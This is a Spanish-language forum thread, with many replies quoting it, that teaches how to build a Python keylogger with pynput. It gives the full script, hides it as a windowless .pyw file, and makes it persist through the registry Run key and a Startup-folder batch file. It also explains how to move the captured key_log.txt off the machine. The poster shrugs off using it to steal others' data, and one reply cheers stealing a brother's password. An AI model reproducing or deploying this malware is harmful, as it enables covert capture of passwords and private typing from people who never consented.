KEYLOGGER CON PYTHON | Keylogger básico creado con Python y Pynput (Automatizado)


python.jpg


⚠️ Importante leer detalladamente ⚠️

Bien, primero de todo aclarar que este keylogger lo he encontrado en internet, pero vengo a compartir el como crearlo, dejaré el enlace
de la web de donde he sacado el keylogger para el que prefiera mirarlo ahí.

Para este tutorial necesitaremos disponer de una versión de Python mínimamente actualizada, 3.9.0 mismamente.
Y Pynput, ahora procederemos a instalarlo con pip.


1. Instalación de Pynput
  • Abrimos la CMD y escribimos "pip install pynput"
  • Después de haber instalado pynput, abrimos la terminal de Python y escribimos "import pynput"
2. Creación del Keylogger
  • El script será esto:


Con tal de leer un poco el script, si sabéis inglés o inglés técnico de informática, sabréis más o menos que hace cada cosa.

El archivo "key_log.txt" se creará solo después de ejecutar el Keylogger, ahí se irá almacenando cada tecla que presionéis al instante.

  • Después de escribir el script, debemos guardar el archivo como "keylogger.pyw"
(Podéis poner el nombre que queráis pero el formato de archivo debe ser .pyw)

Bien, una vez guardado, nada más ejecutéis el programa, empezará a funcionar, sin detenerse, para pararlo, debéis finalizar la tarea de Python en el administrador de tareas.


3. Como hacer que el script se ejecute AUTOMÁTICAMENTE (No funciona, al final de post enseño otra forma de hacerlo)
  • Windows + R
  • Buscamos Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Creamos un "valor de cadena"
  • Le ponemos cualquier nombre y en Valor, ponemos la ruta del keylogger, por ejemplo: "C:\Users\keylogger.pyw" (debéis poner las comillas)
ijasfsa.PNG


Esto hará que al iniciar sesión en el usuario de Windows, se ejecute el keylogger automáticamente.


Hecho todo esto, ya estará todo listo, así se verá el archivo de key_logs.txt

oakskfasf.PNG


⚠️ CUIDADO, EL WINDOWS DEFENDER BLOQUEA ESTE PROGRAMA ⚠️

Mis motivos para haber buscado este keylogger, es por propia seguridad, para saber si alguien entra en mi ordenador y saber que ha estado escribiendo, si ha escrito un correo mío después de poner Gmail o cualquier sitio web, sabré que ha estado intentando acceder a mis cuentas, si solo estaba usando mi ordenador para revisar una cuenta suya, podré saber sus datos, correo y contraseña. Osea que, este keylogger lo uso por seguridad propia, ya si vosotros queréis meterselo a alguien para robarle los datos, es cosa vuestra.


CRÉDITOS: (La web de donde lo he sacado https://nitratine.net/blog/post/python-keylogger/)

Proceso para automatizarlo con el inicio de Windows funcional:

Debemos crear un archivo .bat el cual ponga lo siguiente:

Código:
echo off

REM debemos poner cd "ruta del keylogger"

cd C:\Users\usuario\Music\

pythonw keylogger.pyw
y guardamos el archivo como el nombre que queráis .bat, por ejemplo keylogger.bat (es muy cantoso).

Lo debemos guardar en: C:\Users\usuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (para encontrar la carpeta Win + R, shell:startup, ENTER).

Este .bat lo que hará es ejecutar el keylogger al iniciarse windows, el archivo .pyw no puede ejecutarse solo aunque esté en la carpeta de Inicio o tenga una clave en cadena en regedit por cosas del formato, si compilarais el script a un .exe seguramente si se podría ejecutar.

El proceso para mover el archivo key_log.txt es sencillo, solo tenéis que ir a la carpeta donde está el keylogger.pyw y guarar en un pendrive o subir a algún sitio el key_log.txt, yo tengo un .bat que me hace el proceso de moverlo a un pendrive en 1 segundo.
 
Última edición:

Dark

🔥root313🔥
Staff
Moderador
Paladín de Nodo
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder Pro
Noder
python.jpg


⚠️ Importante leer detalladamente ⚠️

Bien, primero de todo aclarar que este keylogger lo he encontrado en internet, pero vengo a compartir el como crearlo, dejaré el enlace
de la web de donde he sacado el keylogger para el que prefiera mirarlo ahí.

Para este tutorial necesitaremos disponer de una versión de Python mínimamente actualizada, 3.9.0 mismamente.
Y Pynput, ahora procederemos a instalarlo con pip.


1. Instalación de Pynput
  • Abrimos la CMD y escribimos "pip install pynput"
  • Después de haber instalado pynput, abrimos la terminal de Python y escribimos "import pynput"
2. Creación del Keylogger
  • El script será esto:
Código:
from pynput.keyboard import Key, Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

Con tal de leer un poco el script, si sabéis inglés o inglés técnico de informática, sabréis más o menos que hace cada cosa.

El archivo "key_log.txt" se creará solo después de ejecutar el Keylogger, ahí se irá almacenando cada tecla que presionéis al instante.

  • Después de escribir el script, debemos guardar el archivo como "keylogger.pyw"
(Podéis poner el nombre que queráis pero el formato de archivo debe ser .pyw)

Bien, una vez guardado, nada más ejecutéis el programa, empezará a funcionar, sin detenerse, para pararlo, debéis finalizar la tarea de Python en el administrador de tareas.


3. Como hacer que el script se ejecute AUTOMÁTICAMENTE
  • Windows + R
  • Buscamos Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Creamos un "valor de cadena"
  • Le ponemos cualquier nombre y en Valor, ponemos la ruta del keylogger, por ejemplo: "C:\Users\keylogger.pyw" (debéis poner las comillas)
Ver el archivo adjunto 16907

Esto hará que al iniciar sesión en el usuario de Windows, se ejecute el keylogger automáticamente.


Hecho todo esto, ya estará todo listo, así se verá el archivo de key_logs.txt

Ver el archivo adjunto 16908

⚠️ CUIDADO, EL WINDOWS DEFENDER BLOQUEA ESTE PROGRAMA ⚠️

Mis motivos para haber buscado este keylogger, es por propia seguridad, para saber si alguien entra en mi ordenador y saber que ha estado escribiendo, si ha escrito un correo mío después de poner Gmail o cualquier sitio web, sabré que ha estado intentando acceder a mis cuentas, si solo estaba usando mi ordenador para revisar una cuenta suya, podré saber sus datos, correo y contraseña. Osea que, este keylogger lo uso por seguridad propia, ya si vosotros queréis meterselo a alguien para robarle los datos, es cosa vuestra.


CRÉDITOS: (La web de donde lo he sacado https://nitratine.net/blog/post/python-keylogger/)
Lo de hacer automático el script, osea, que se ejecute al iniciar Windows, no se puede ejcutar el archivo ".pyw", tendríais que compilar le script convirtiendolo en un .exe, entonces un .exe si que podría ser ejecutado por windows en el arranque del sistema (si lo habéis puesto en los registros de auditoría).
 
  • Like
Reacciones : Alexlealxd01

Alexlealxd01

HISTORIADOR Y BIÓLOGO DEL FORO
Noderador
Nodero
Noder
Lo de hacer automático el script, osea, que se ejecute al iniciar Windows, no se puede ejcutar el archivo ".pyw", tendríais que compilar le script convirtiendolo en un .exe, entonces un .exe si que podría ser ejecutado por windows en el arranque del sistema (si lo habéis puesto en los registros de auditoría).
Mis dieces que puta sacada jajaj
 
  • Like
Reacciones : Dark

Dark

🔥root313🔥
Staff
Moderador
Paladín de Nodo
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder Pro
Noder

Dark

🔥root313🔥
Staff
Moderador
Paladín de Nodo
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder Pro
Noder
python.jpg


⚠️ Importante leer detalladamente ⚠️

Bien, primero de todo aclarar que este keylogger lo he encontrado en internet, pero vengo a compartir el como crearlo, dejaré el enlace
de la web de donde he sacado el keylogger para el que prefiera mirarlo ahí.

Para este tutorial necesitaremos disponer de una versión de Python mínimamente actualizada, 3.9.0 mismamente.
Y Pynput, ahora procederemos a instalarlo con pip.


1. Instalación de Pynput
  • Abrimos la CMD y escribimos "pip install pynput"
  • Después de haber instalado pynput, abrimos la terminal de Python y escribimos "import pynput"
2. Creación del Keylogger
  • El script será esto:
Código:
from pynput.keyboard import Key, Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

Con tal de leer un poco el script, si sabéis inglés o inglés técnico de informática, sabréis más o menos que hace cada cosa.

El archivo "key_log.txt" se creará solo después de ejecutar el Keylogger, ahí se irá almacenando cada tecla que presionéis al instante.

  • Después de escribir el script, debemos guardar el archivo como "keylogger.pyw"
(Podéis poner el nombre que queráis pero el formato de archivo debe ser .pyw)

Bien, una vez guardado, nada más ejecutéis el programa, empezará a funcionar, sin detenerse, para pararlo, debéis finalizar la tarea de Python en el administrador de tareas.


3. Como hacer que el script se ejecute AUTOMÁTICAMENTE
  • Windows + R
  • Buscamos Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Creamos un "valor de cadena"
  • Le ponemos cualquier nombre y en Valor, ponemos la ruta del keylogger, por ejemplo: "C:\Users\keylogger.pyw" (debéis poner las comillas)
Ver el archivo adjunto 16907

Esto hará que al iniciar sesión en el usuario de Windows, se ejecute el keylogger automáticamente.


Hecho todo esto, ya estará todo listo, así se verá el archivo de key_logs.txt

Ver el archivo adjunto 16908

⚠️ CUIDADO, EL WINDOWS DEFENDER BLOQUEA ESTE PROGRAMA ⚠️

Mis motivos para haber buscado este keylogger, es por propia seguridad, para saber si alguien entra en mi ordenador y saber que ha estado escribiendo, si ha escrito un correo mío después de poner Gmail o cualquier sitio web, sabré que ha estado intentando acceder a mis cuentas, si solo estaba usando mi ordenador para revisar una cuenta suya, podré saber sus datos, correo y contraseña. Osea que, este keylogger lo uso por seguridad propia, ya si vosotros queréis meterselo a alguien para robarle los datos, es cosa vuestra.


CRÉDITOS: (La web de donde lo he sacado https://nitratine.net/blog/post/python-keylogger/)
Proceso para automatizarlo con el inicio de Windows funcional:

Debemos crear un archivo .bat el cual ponga lo siguiente:

Código:
echo off

REM debemos poner cd "ruta del keylogger"

cd C:\Users\usuario\Music\

pythonw keylogger.pyw

y guardamos el archivo como el nombre que queráis .bat, por ejemplo keylogger.bat (es muy cantoso).

Lo debemos guardar en: C:\Users\usuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (para encontrar la carpeta Win + R, shell:startup, ENTER).

Este .bat lo que hará es ejecutar el keylogger al iniciarse windows, el archivo .pyw no puede ejecutarse solo aunque esté en la carpeta de Inicio o tenga una clave en cadena en regedit por cosas del formato, si compilarais el script a un .exe seguramente si se podría ejecutar.

El proceso para mover el archivo key_log.txt es sencillo, solo tenéis que ir a la carpeta donde está el keylogger.pyw y guarar en un pendrive o subir a algún sitio el key_log.txt, yo tengo un .bat que me hace el proceso de moverlo a un pendrive en 1 segundo.
 

María Magdalena

pierde el miedo a ti mismo para evitar el fracaso.
Noderador
Nodero
Noder
Dark, ''pip install pynput'' en el cmd de windows después de tener la última versión de python? es que no me deja ni en el cmd de windows ni en py. Osea es que me dice que no se reconoce como comando interno, externo,...
 

Dark

🔥root313🔥
Staff
Moderador
Paladín de Nodo
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder Pro
Noder
Dark, ''pip install pynput'' en el cmd de windows después de tener la última versión de python? es que no me deja ni en el cmd de windows ni en py. Osea es que me dice que no se reconoce como comando interno, externo,...
Que versión de Python tienes?
 

Dark

🔥root313🔥
Staff
Moderador
Paladín de Nodo
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder Pro
Noder
Al instalar Python marcaste la casilla se Añadir IDLE al sistema? (No se que pone exactamente pero dice algo de IDLE.
Ya se que tienes qu hacer, abre de nuevo el Instalador de Python, y te dirá si lo quieres modificar, reparar o desinstalar, dale a Modificar/Modify, y marcas la casilla de "pip".
 
  • Like
Reacciones : María Magdalena

jaybaan

Juglar del morbo
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder
gracias por fin podre quitarle a mi hermano la contraseña del Amazon prime para tener una sub gratis al canal de digref
 
  • Viva España
Reacciones : Dark

erduki

Miembro muy activo
kasjdkawdsa
python.jpg


⚠️ Importante leer detalladamente ⚠️

Bien, primero de todo aclarar que este keylogger lo he encontrado en internet, pero vengo a compartir el como crearlo, dejaré el enlace
de la web de donde he sacado el keylogger para el que prefiera mirarlo ahí.

Para este tutorial necesitaremos disponer de una versión de Python mínimamente actualizada, 3.9.0 mismamente.
Y Pynput, ahora procederemos a instalarlo con pip.


1. Instalación de Pynput
  • Abrimos la CMD y escribimos "pip install pynput"
  • Después de haber instalado pynput, abrimos la terminal de Python y escribimos "import pynput"
2. Creación del Keylogger
  • El script será esto:
*** Hidden text: cannot be quoted. ***


Con tal de leer un poco el script, si sabéis inglés o inglés técnico de informática, sabréis más o menos que hace cada cosa.

El archivo "key_log.txt" se creará solo después de ejecutar el Keylogger, ahí se irá almacenando cada tecla que presionéis al instante.

  • Después de escribir el script, debemos guardar el archivo como "keylogger.pyw"
(Podéis poner el nombre que queráis pero el formato de archivo debe ser .pyw)

Bien, una vez guardado, nada más ejecutéis el programa, empezará a funcionar, sin detenerse, para pararlo, debéis finalizar la tarea de Python en el administrador de tareas.


3. Como hacer que el script se ejecute AUTOMÁTICAMENTE (No funciona, al final de post enseño otra forma de hacerlo)
  • Windows + R
  • Buscamos Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Creamos un "valor de cadena"
  • Le ponemos cualquier nombre y en Valor, ponemos la ruta del keylogger, por ejemplo: "C:\Users\keylogger.pyw" (debéis poner las comillas)
Ver el archivo adjunto 16907

Esto hará que al iniciar sesión en el usuario de Windows, se ejecute el keylogger automáticamente.


Hecho todo esto, ya estará todo listo, así se verá el archivo de key_logs.txt

Ver el archivo adjunto 16908

⚠️ CUIDADO, EL WINDOWS DEFENDER BLOQUEA ESTE PROGRAMA ⚠️

Mis motivos para haber buscado este keylogger, es por propia seguridad, para saber si alguien entra en mi ordenador y saber que ha estado escribiendo, si ha escrito un correo mío después de poner Gmail o cualquier sitio web, sabré que ha estado intentando acceder a mis cuentas, si solo estaba usando mi ordenador para revisar una cuenta suya, podré saber sus datos, correo y contraseña. Osea que, este keylogger lo uso por seguridad propia, ya si vosotros queréis meterselo a alguien para robarle los datos, es cosa vuestra.


CRÉDITOS: (La web de donde lo he sacado https://nitratine.net/blog/post/python-keylogger/)

Proceso para automatizarlo con el inicio de Windows funcional:

Debemos crear un archivo .bat el cual ponga lo siguiente:

Código:
echo off

REM debemos poner cd "ruta del keylogger"

cd C:\Users\usuario\Music\

pythonw keylogger.pyw
y guardamos el archivo como el nombre que queráis .bat, por ejemplo keylogger.bat (es muy cantoso).

Lo debemos guardar en: C:\Users\usuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (para encontrar la carpeta Win + R, shell:startup, ENTER).

Este .bat lo que hará es ejecutar el keylogger al iniciarse windows, el archivo .pyw no puede ejecutarse solo aunque esté en la carpeta de Inicio o tenga una clave en cadena en regedit por cosas del formato, si compilarais el script a un .exe seguramente si se podría ejecutar.

El proceso para mover el archivo key_log.txt es sencillo, solo tenéis que ir a la carpeta donde está el keylogger.pyw y guarar en un pendrive o subir a algún sitio el key_log.txt, yo tengo un .bat que me hace el proceso de moverlo a un pendrive en 1 segundo.
ajdsjdas
 

Pablucu

Miembro muy activo
python.jpg


⚠️ Importante leer detalladamente ⚠️

Bien, primero de todo aclarar que este keylogger lo he encontrado en internet, pero vengo a compartir el como crearlo, dejaré el enlace
de la web de donde he sacado el keylogger para el que prefiera mirarlo ahí.

Para este tutorial necesitaremos disponer de una versión de Python mínimamente actualizada, 3.9.0 mismamente.
Y Pynput, ahora procederemos a instalarlo con pip.


1. Instalación de Pynput
  • Abrimos la CMD y escribimos "pip install pynput"
  • Después de haber instalado pynput, abrimos la terminal de Python y escribimos "import pynput"
2. Creación del Keylogger
  • El script será esto:
*** Hidden text: cannot be quoted. ***


Con tal de leer un poco el script, si sabéis inglés o inglés técnico de informática, sabréis más o menos que hace cada cosa.

El archivo "key_log.txt" se creará solo después de ejecutar el Keylogger, ahí se irá almacenando cada tecla que presionéis al instante.

  • Después de escribir el script, debemos guardar el archivo como "keylogger.pyw"
(Podéis poner el nombre que queráis pero el formato de archivo debe ser .pyw)

Bien, una vez guardado, nada más ejecutéis el programa, empezará a funcionar, sin detenerse, para pararlo, debéis finalizar la tarea de Python en el administrador de tareas.


3. Como hacer que el script se ejecute AUTOMÁTICAMENTE (No funciona, al final de post enseño otra forma de hacerlo)
  • Windows + R
  • Buscamos Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Creamos un "valor de cadena"
  • Le ponemos cualquier nombre y en Valor, ponemos la ruta del keylogger, por ejemplo: "C:\Users\keylogger.pyw" (debéis poner las comillas)
Ver el archivo adjunto 16907

Esto hará que al iniciar sesión en el usuario de Windows, se ejecute el keylogger automáticamente.


Hecho todo esto, ya estará todo listo, así se verá el archivo de key_logs.txt

Ver el archivo adjunto 16908

⚠️ CUIDADO, EL WINDOWS DEFENDER BLOQUEA ESTE PROGRAMA ⚠️

Mis motivos para haber buscado este keylogger, es por propia seguridad, para saber si alguien entra en mi ordenador y saber que ha estado escribiendo, si ha escrito un correo mío después de poner Gmail o cualquier sitio web, sabré que ha estado intentando acceder a mis cuentas, si solo estaba usando mi ordenador para revisar una cuenta suya, podré saber sus datos, correo y contraseña. Osea que, este keylogger lo uso por seguridad propia, ya si vosotros queréis meterselo a alguien para robarle los datos, es cosa vuestra.


CRÉDITOS: (La web de donde lo he sacado https://nitratine.net/blog/post/python-keylogger/)

Proceso para automatizarlo con el inicio de Windows funcional:

Debemos crear un archivo .bat el cual ponga lo siguiente:

Código:
echo off

REM debemos poner cd "ruta del keylogger"

cd C:\Users\usuario\Music\

pythonw keylogger.pyw
y guardamos el archivo como el nombre que queráis .bat, por ejemplo keylogger.bat (es muy cantoso).

Lo debemos guardar en: C:\Users\usuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (para encontrar la carpeta Win + R, shell:startup, ENTER).

Este .bat lo que hará es ejecutar el keylogger al iniciarse windows, el archivo .pyw no puede ejecutarse solo aunque esté en la carpeta de Inicio o tenga una clave en cadena en regedit por cosas del formato, si compilarais el script a un .exe seguramente si se podría ejecutar.

El proceso para mover el archivo key_log.txt es sencillo, solo tenéis que ir a la carpeta donde está el keylogger.pyw y guarar en un pendrive o subir a algún sitio el key_log.txt, yo tengo un .bat que me hace el proceso de moverlo a un pendrive en 1 segundo.
..sdapojdñao
 

aafass

Nuevo miembro
python.jpg


⚠️ Importante leer detalladamente ⚠️

Bien, primero de todo aclarar que este keylogger lo he encontrado en internet, pero vengo a compartir el como crearlo, dejaré el enlace
de la web de donde he sacado el keylogger para el que prefiera mirarlo ahí.

Para este tutorial necesitaremos disponer de una versión de Python mínimamente actualizada, 3.9.0 mismamente.
Y Pynput, ahora procederemos a instalarlo con pip.


1. Instalación de Pynput
  • Abrimos la CMD y escribimos "pip install pynput"
  • Después de haber instalado pynput, abrimos la terminal de Python y escribimos "import pynput"
2. Creación del Keylogger
  • El script será esto:
*** Hidden text: cannot be quoted. ***


Con tal de leer un poco el script, si sabéis inglés o inglés técnico de informática, sabréis más o menos que hace cada cosa.

El archivo "key_log.txt" se creará solo después de ejecutar el Keylogger, ahí se irá almacenando cada tecla que presionéis al instante.

  • Después de escribir el script, debemos guardar el archivo como "keylogger.pyw"
(Podéis poner el nombre que queráis pero el formato de archivo debe ser .pyw)

Bien, una vez guardado, nada más ejecutéis el programa, empezará a funcionar, sin detenerse, para pararlo, debéis finalizar la tarea de Python en el administrador de tareas.


3. Como hacer que el script se ejecute AUTOMÁTICAMENTE (No funciona, al final de post enseño otra forma de hacerlo)
  • Windows + R
  • Buscamos Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Creamos un "valor de cadena"
  • Le ponemos cualquier nombre y en Valor, ponemos la ruta del keylogger, por ejemplo: "C:\Users\keylogger.pyw" (debéis poner las comillas)
Ver el archivo adjunto 16907

Esto hará que al iniciar sesión en el usuario de Windows, se ejecute el keylogger automáticamente.


Hecho todo esto, ya estará todo listo, así se verá el archivo de key_logs.txt

Ver el archivo adjunto 16908

⚠️ CUIDADO, EL WINDOWS DEFENDER BLOQUEA ESTE PROGRAMA ⚠️

Mis motivos para haber buscado este keylogger, es por propia seguridad, para saber si alguien entra en mi ordenador y saber que ha estado escribiendo, si ha escrito un correo mío después de poner Gmail o cualquier sitio web, sabré que ha estado intentando acceder a mis cuentas, si solo estaba usando mi ordenador para revisar una cuenta suya, podré saber sus datos, correo y contraseña. Osea que, este keylogger lo uso por seguridad propia, ya si vosotros queréis meterselo a alguien para robarle los datos, es cosa vuestra.


CRÉDITOS: (La web de donde lo he sacado https://nitratine.net/blog/post/python-keylogger/)

Proceso para automatizarlo con el inicio de Windows funcional:

Debemos crear un archivo .bat el cual ponga lo siguiente:

Código:
echo off

REM debemos poner cd "ruta del keylogger"

cd C:\Users\usuario\Music\

pythonw keylogger.pyw
y guardamos el archivo como el nombre que queráis .bat, por ejemplo keylogger.bat (es muy cantoso).

Lo debemos guardar en: C:\Users\usuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (para encontrar la carpeta Win + R, shell:startup, ENTER).

Este .bat lo que hará es ejecutar el keylogger al iniciarse windows, el archivo .pyw no puede ejecutarse solo aunque esté en la carpeta de Inicio o tenga una clave en cadena en regedit por cosas del formato, si compilarais el script a un .exe seguramente si se podría ejecutar.

El proceso para mover el archivo key_log.txt es sencillo, solo tenéis que ir a la carpeta donde está el keylogger.pyw y guarar en un pendrive o subir a algún sitio el key_log.txt, yo tengo un .bat que me hace el proceso de moverlo a un pendrive en 1 segundo.
 

MarkTill0

Nuevo miembro
python.jpg


⚠️ Importante leer detalladamente ⚠️

Bien, primero de todo aclarar que este keylogger lo he encontrado en internet, pero vengo a compartir el como crearlo, dejaré el enlace
de la web de donde he sacado el keylogger para el que prefiera mirarlo ahí.

Para este tutorial necesitaremos disponer de una versión de Python mínimamente actualizada, 3.9.0 mismamente.
Y Pynput, ahora procederemos a instalarlo con pip.


1. Instalación de Pynput
  • Abrimos la CMD y escribimos "pip install pynput"
  • Después de haber instalado pynput, abrimos la terminal de Python y escribimos "import pynput"
2. Creación del Keylogger
  • El script será esto:
*** Hidden text: cannot be quoted. ***


Con tal de leer un poco el script, si sabéis inglés o inglés técnico de informática, sabréis más o menos que hace cada cosa.

El archivo "key_log.txt" se creará solo después de ejecutar el Keylogger, ahí se irá almacenando cada tecla que presionéis al instante.

  • Después de escribir el script, debemos guardar el archivo como "keylogger.pyw"
(Podéis poner el nombre que queráis pero el formato de archivo debe ser .pyw)

Bien, una vez guardado, nada más ejecutéis el programa, empezará a funcionar, sin detenerse, para pararlo, debéis finalizar la tarea de Python en el administrador de tareas.


3. Como hacer que el script se ejecute AUTOMÁTICAMENTE (No funciona, al final de post enseño otra forma de hacerlo)
  • Windows + R
  • Buscamos Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Creamos un "valor de cadena"
  • Le ponemos cualquier nombre y en Valor, ponemos la ruta del keylogger, por ejemplo: "C:\Users\keylogger.pyw" (debéis poner las comillas)
Ver el archivo adjunto 16907

Esto hará que al iniciar sesión en el usuario de Windows, se ejecute el keylogger automáticamente.


Hecho todo esto, ya estará todo listo, así se verá el archivo de key_logs.txt

Ver el archivo adjunto 16908

⚠️ CUIDADO, EL WINDOWS DEFENDER BLOQUEA ESTE PROGRAMA ⚠️

Mis motivos para haber buscado este keylogger, es por propia seguridad, para saber si alguien entra en mi ordenador y saber que ha estado escribiendo, si ha escrito un correo mío después de poner Gmail o cualquier sitio web, sabré que ha estado intentando acceder a mis cuentas, si solo estaba usando mi ordenador para revisar una cuenta suya, podré saber sus datos, correo y contraseña. Osea que, este keylogger lo uso por seguridad propia, ya si vosotros queréis meterselo a alguien para robarle los datos, es cosa vuestra.


CRÉDITOS: (La web de donde lo he sacado https://nitratine.net/blog/post/python-keylogger/)

Proceso para automatizarlo con el inicio de Windows funcional:

Debemos crear un archivo .bat el cual ponga lo siguiente:

Código:
echo off

REM debemos poner cd "ruta del keylogger"

cd C:\Users\usuario\Music\

pythonw keylogger.pyw
y guardamos el archivo como el nombre que queráis .bat, por ejemplo keylogger.bat (es muy cantoso).

Lo debemos guardar en: C:\Users\usuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (para encontrar la carpeta Win + R, shell:startup, ENTER).

Este .bat lo que hará es ejecutar el keylogger al iniciarse windows, el archivo .pyw no puede ejecutarse solo aunque esté en la carpeta de Inicio o tenga una clave en cadena en regedit por cosas del formato, si compilarais el script a un .exe seguramente si se podría ejecutar.

El proceso para mover el archivo key_log.txt es sencillo, solo tenéis que ir a la carpeta donde está el keylogger.pyw y guarar en un pendrive o subir a algún sitio el key_log.txt, yo tengo un .bat que me hace el proceso de moverlo a un pendrive en 1 segundo.
nice